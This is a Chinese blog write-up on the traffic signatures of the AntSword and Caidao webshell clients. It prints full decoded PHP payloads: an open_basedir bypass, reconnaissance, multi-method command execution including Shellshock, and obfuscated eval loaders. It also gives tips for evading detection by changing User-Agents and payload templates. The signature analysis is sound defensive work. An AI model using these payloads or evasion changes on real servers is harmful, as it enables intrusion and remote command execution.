常见webshell客户端特征分析(上):菜刀、蚁剑
本文学习其他师傅博客,分析常见webshell客户端特征
常见webshell客户端都使用POST、REQUEST请求而不是GET请求
- 隐蔽:避免payload直接暴露在url,容易在日志中留下痕迹
- 长度:POST请求可以传输更长的payload,避免长度限制
蚁剑
蚁剑项目地址:https://github.com/AntSwordProject/antSword
技术栈
- Electron
- ES6
- dhtmlx
- Nodejs
流量特征
- POST请求
- 老古董UA头
- POST参数值php代码明文传输,payload base64编码
- 隐藏处理
@ini_set("display_errors", "0");@set_time_limit(0); - 使用随机参数名,参数值使用2位随机数+base64编码内容
特征分析
查看burp代理配置,默认监听8080端口

burp开启拦截

配置蚁剑代理,使流量走8080端口,点击测试,可以看到burp抓包。保存配置,重启生效。

使用蚁剑连接准备好的服务器webshell,拦截到了webshell连接时的请求

数据包
POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1749
Connection: close
1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.b59d502%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2280db0%22.%22e85832%22%3Becho%20%40asenc(%24output)%3Becho%20%22ec1b%22.%2279bff%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
相比于普通用户,分析这里的UAUser-Agent 查询 ,可以知道,11年的老古董ua头了
User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1

POST数据包内容:password=php codde,格式化分析一下
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) { continue; }
$tmdir=$item."/.b59d502";
@mkdir($tmdir);
if(!@file_exists($tmdir)) { continue; }
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//", $tmdir);
for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
}
function asenc($out){ return $out; }
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "80db0"."e85832";
echo @asenc($output);
echo "ec1b"."79bff";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z") as $L)
if(is_dir("{$L}:")) $R.="{$L}:";
} else {
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s=($u) ? $u["name"] : @get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;
} catch(Exception $e){
echo "ERROR://".$e->getMessage();
}
asoutput();
die();
分析:
隐藏处理:抑制脚本报错,避免错误信息泄露引起管理员注意,设置脚本运行时间限制为0,蚁剑可以长时间连接执行webshell
@ini_set("display_errors", "0");
@set_time_limit(0);
目录穿越:通过创建并进入子目录,设置..为根目录,这里的..应该有双层语义吧,既可以表示上级目录,也可以表示配置的根目录,通过..不断穿越到上层,再设置..为根目录,实现了目录穿越,绕过了open_basedir限制
if(!@file_exists($tmdir)) { continue; }
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//", $tmdir);
for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
@ini_set("open_basedir","/");
信息探针:获取当前目录、操作系统、用户名等信息,方便后续操作
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
$u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s=($u) ? $u["name"] : @get_current_user();
$R.=php_uname();
继续往下,尝试打开虚拟终端,简单执行ls命令,burp抓到一大坨数据包

POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 4840
Connection: close
1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.947b1dd388%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22b82%22.%22081%22%3Becho%20%40asenc(%24output)%3Becho%20%220b87%22.%227325e%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22pce8f422c382ad%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22l7aa1832b83fbc%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22uf31f0e8b4315e%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&l7aa1832b83fbc=mRY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gZjVkNzNiNGJkMTtwd2Q7ZWNobyBmYTRkNWU4ODliZmU%3D&pce8f422c382ad=44L2Jpbi9zaA%3D%3D&uf31f0e8b4315e=Ol
UA头发生了变化
User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11
post内容:
@ini_set("display_errors", "0"); // 关闭错误信息输出
@set_time_limit(0); // 不限制执行时间
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.947b1dd388"; // 创建一个临时目录
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
// 目录穿越至根目录
$cntarr = @preg_split("/\\\\|\\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 尝试取消 open_basedir 限制
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
// 简单的输出编码函数,实际未做处理
function asenc($out) {
return $out;
}
// 统一的输出方式(带标记)
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "b82081";
echo @asenc($output);
echo "0b87325e";
}
ob_start();
try {
// 从 POST 中提取参数(base64 解码,去除前两个字符)
$p = base64_decode(substr($_POST["pce8f422c382ad"], 2));
$s = base64_decode(substr($_POST["l7aa1832b83fbc"], 2));
$envstr = @base64_decode(substr($_POST["uf31f0e8b4315e"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = (substr($d, 0, 1) == "/") ? "-c \"{$s}\"" : "/c \"{$s}\"";
// 设置 PATH 环境变量(Unix / Windows)
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
// 设置自定义环境变量
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
// 判断函数是否可用
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return function_exists($f) && is_callable($f) && !in_array($f, $d);
}
// 利用 shellshock 漏洞执行命令
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; {$c} >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
} else {
return False;
}
}
return False;
}
// 执行命令的主函数,支持多种方式
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c); // 自定义函数或后门
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
// Windows COM 执行
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
// 执行命令并打印结果
$ret = @runcmd($r . " 2>&1");
print($ret != 0) ? "ret={$ret}" : "";
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
同样做了隐藏处理、绕过目录限制,另外还判断了系统类型,尝试各种可以执行命令的函数,还额外添加了shellshock漏洞利用的代码,尝试执行命令
最后传入了几个参数,参数名是随机数,值是base64编码的命令,解码时需要去掉前两个字符


把蚁剑AntSword-master的目录拖进vscode,分析一下源码
找到了user-agent的相关文件random-fake-useragent,可以找到蚁剑的UA头都是从这里随机拿的


粗略可以看出都是老古董ua头
操作系统:
- Windows NT 6.x(win7、winserver)
- Mac OS X 10.x(mac)
- Linux i686(linux)
浏览器:
- Opera 9.80
- Chrome 40.x
- Firefox 31.x
- Safari 5.x
这里的老古董ua头也算是webshell流量特征,绕过检测可以换成新版本ua头,看起来正常一些
菜刀
菜刀项目地址:https://github.com/raddyfiy/caidao-official-version
流量特征
- POST请求
- 随机xff头
- UA头伪装为百度爬虫
- 存在明显的
assert、eval、base64_decode等函数直接利用或者间接拼接动态调用 - 接收一个POST参数z0,值为base编码的
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};代码 - payload使用base64编码,
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ开头
流量分析
下载2016版菜刀,连接准备好的webshell,使用wireshark抓包

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流

这一大坨payload
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J%2Bato%2BWcqOi9veWFpeWfuuacrOS%2FoeaBry4uLlxcJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));
格式化分析一下,格式类似eval("\$xx=\"BaSE64_dEcOdE\";@eval(\$xx('base64编码内容'));");,动态调用assert,eval函数,执行base64编码的内容
太露骨啦(捂脸)
@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};
echo("X@BY");
$D="..."; // 这里是加密的路径
$F=@opendir($D);
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D.'/'.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P)) $M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
}
echo("X@BY");
die();
隐藏处理: 首先也是做了隐藏处理,抑制错误信息输出,设置脚本执行时间为0
@ini_set("display_errors","0");
@set_time_limit(0);
扫描目录: 打开目录、遍历目录
while($N=@readdir($F)){
$P=$D.'/'.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P)) $M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
报文里存在返回的错误信息
<b>Warning</b>: Cannot call assert() with string argument dynamically in <b>/var/www/html/shell.php(3) : eval()'d code</b> on line <b>1</b><br />
解决:菜刀连接一句话木马出现:Cannot call assert() with string argument dynamically错误
payload里使用了assert函数动态执行代码,在php7里,这个特性已经移除
在caidao.conf,修改payload模板
<PHP_BASE>
eval(base64_decode('%s'));
</PHP_BASE>
古人的智慧,原来大师早就预测到ua可能过时作为流量特征了,留好了模板等后继者修改适配

修改后保存,再次连接webshell,成功连接webshell

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流
能看到,数据包里使用了随机的xff头,ua头伪装成百度爬虫,payload使用base64编码QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ的开头

解码看看
@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
@set_magic_quotes_runtime(0);
}
echo("X@Y");
$F = '/var/www/html/shell.php';
$P = @fopen($F, 'r');
echo(@fread($P, filesize($F)));
@fclose($P);
echo("X@Y");
die();
参考
- 蚁剑 Github
- 菜刀 Github
- webshell流量特征
- 第78天:WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
- 菜刀连接一句话木马出现:
Cannot call assert() with string argument dynamically错误 - WebShell客户端流量特征
- webshell连接工具流量分析
- Webshell管理工具流量检测研究:chopper、蚁剑、冰蝎、哥斯拉
- 冰蝎 webshell 流量分析
- 常见webshell管理工具流量特征值分析
其他
写之前有几点一直无法动笔写下去
- 一篇文章写四个webshell客户端蚁剑、菜刀、冰蝎、哥斯拉,会不会篇幅太长了?
开两篇写,一篇写蚁剑、菜刀,另一篇写冰蝎、哥斯拉,不行就冰蝎、哥斯拉单开两篇
- 比较熟悉蚁剑,其他三个没用过,又存在新旧版本不同特征,既陌生,工作量也有点大
顶不住也要顶
- 为什么要分析webshell客户端流量特征?
从防御方面来看:可以通过流量特征识别攻击流量、攻击行为,进行拦截、报警等操作。
从攻击方面来看:分析webshell客户端默认流量特征,二次修改,减少被管理员检测、察觉的敏感操作,提高攻击隐蔽性。
oh,这该死的掌控感